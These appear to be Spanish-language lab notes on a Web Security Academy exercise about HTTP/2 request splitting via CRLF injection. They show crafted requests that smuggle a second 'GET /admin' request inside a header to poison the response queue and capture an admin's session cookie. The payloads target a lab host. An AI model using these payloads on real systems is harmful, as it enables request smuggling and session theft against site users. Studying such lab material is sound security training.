14 -HTTP2 request splitting via CRLF injection
Vamos a meter una request dentro de una cabecera metiendo CRLFs
Esto lo hacemos con el objetivo de hacer response queue poisoining.
El problema es que el frontend sobreescribe la petición para añadirle una cabecera Host personalizada, por lo que la primera petición no tendrá cabecera Host y la segunda tendrá 2 :
:method GET
:path /
:authority vulnerable-website.com
:foo bar{\r\n}
{\r\n}
GET /admin HTTP/1.1{\r\n}
Host: vulnerable-website.com
Así cada petición tendrá cabecera host :
:method GET
:path /
:authority vulnerable-website.com
:foo bar{\r\n}
Host: vulnerable-website.com{\r\n}
{\r\n}
GET /admin HTTP/1.1
Esto puede funcionar :
GET /404 HTTP/2
Host: 0aa2006804d362d78012e4e500d200a4.web-security-academy.net
Foo: bar{\r\n}Host: 0aa2006804d362d78012e4e500d200a4.web-security-academy.net{\r\n}{\r\n}GET /404 HTTP/1.1
La cosa es que es el admin el que está navegando por la web, queremos que el admin entre al panel de /admin para que nos tire un 302 con la cookie, no que haga un 404 :
GET /404 HTTP/2
Host: 0aa2006804d362d78012e4e500d200a4.web-security-academy.net
Foo: bar{\r\n}Host: 0aa2006804d362d78012e4e500d200a4.web-security-academy.net{\r\n}{\r\n}GET /admin HTTP/1.1